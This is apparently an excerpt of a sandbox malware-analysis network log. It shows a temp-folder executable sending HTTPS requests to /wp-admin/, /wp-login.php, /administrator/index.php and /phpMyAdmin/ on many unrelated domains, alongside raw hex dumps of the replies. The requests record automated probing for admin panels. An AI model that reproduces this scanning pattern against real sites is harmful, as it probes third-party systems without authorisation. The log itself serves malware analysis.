2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-12-20 02:13:26 UTC	95	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: an> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	57361	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038406.7231654087442210879 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:26 GMT X-Served-By: cache-dfw-kdfw8210114-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLupO/enPqTWY4Qy4iOZWWztGkFvVdT2Nq6f3Hedj7ewB,2d58ifebGbosy5xc+FRaluk32gyk0vT7DgIiSEBs3hHTNJk8ZjUOj+fZS3FQ2i1UyHq7dGLu5PvLWGpNJH+wlA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:26 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:26 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	57466	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	370	OUT	GET /wp-admin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://walshfam.com/wp-login.php
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_GHlHThOGRU1Zgz4xfkLF05IswXdSc5npAZi0swbOa0ZDp+QSHSEoYAPUmqPq+EGJG9vHGd8KHr6jIq7CxvxsiA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	57462	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	445	OUT	GET /administrator/index.php HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://wethepros.com/administrator/
2023-12-20 02:13:26 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_VC9ER1toyPw0uS/JT2fqpjhhGSmeLqAvy/8niKuUecMxSxj1QxT873HSFK6r9fH+Og3QIOEUapU5xszRLUldhg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	57465	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	380	OUT	GET /wp-admin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://filmboxstudios.com/wp-login.php
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_jZ2F1YGiORfTqVf6n56QkL/r7Bp8lKqpjJL4BKX4j1wKO8AqBjXvUDrc6chkUigmpuxeNh7Of5jg/5/GHWHTKA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	57504	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	325	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FhUCtJU2KsLwBizEPmcrGTGSs7d3D+f+9z1fNCGMRx/ZOKgMmZxn/NivDfYAKlcSxYhZoPFW/Wy7+AHkNYx31w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	57548	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	364	OUT	GET /wp-admin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ornos.com/wp-login.php
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dqLpuoYGXHKskfb3fqBWcqgZXijcHRFWBugL9bIMJJlQ6mnuWYdpNfEpQw19Ir93ORvHGVb7ZCq7tc5LTdeZVQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:27 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	57662	65.8.178.81	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	259	OUT	GET /administrator/index.php HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.atelcommunications.com/administrator/
2023-12-20 02:13:27 UTC	331	IN	HTTP/1.1 420 Unknown Content-Type: text/plain Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:27 GMT X-Cache: Error from cloudfront Via: 1.1 a400d6fe5b7510922aa07ad280f5014c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: BVyUPKzEx6xTPno1L8nuWjW6sxBENMxx_TkNk1kNtRjCTQO_HmCgrA==
2023-12-20 02:13:27 UTC	25	IN	Data Raw: 31 33 0d 0a 72 61 74 65 20 6c 69 6d 69 74 20 65 78 63 65 65 64 65 64 0d 0a Data Ascii: 13rate limit exceeded
2023-12-20 02:13:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	57672	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	378	OUT	GET /wp-admin/ HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mobiamericas.com/wp-login.php
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_DM9Kd+CTohs4pF7E3U9X/fC+uVHw3N1a0/RxDQPOW2apAsBvg0Pez4sKVuIkZbRhAANXnrazgwNh+PX7z75Nhg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
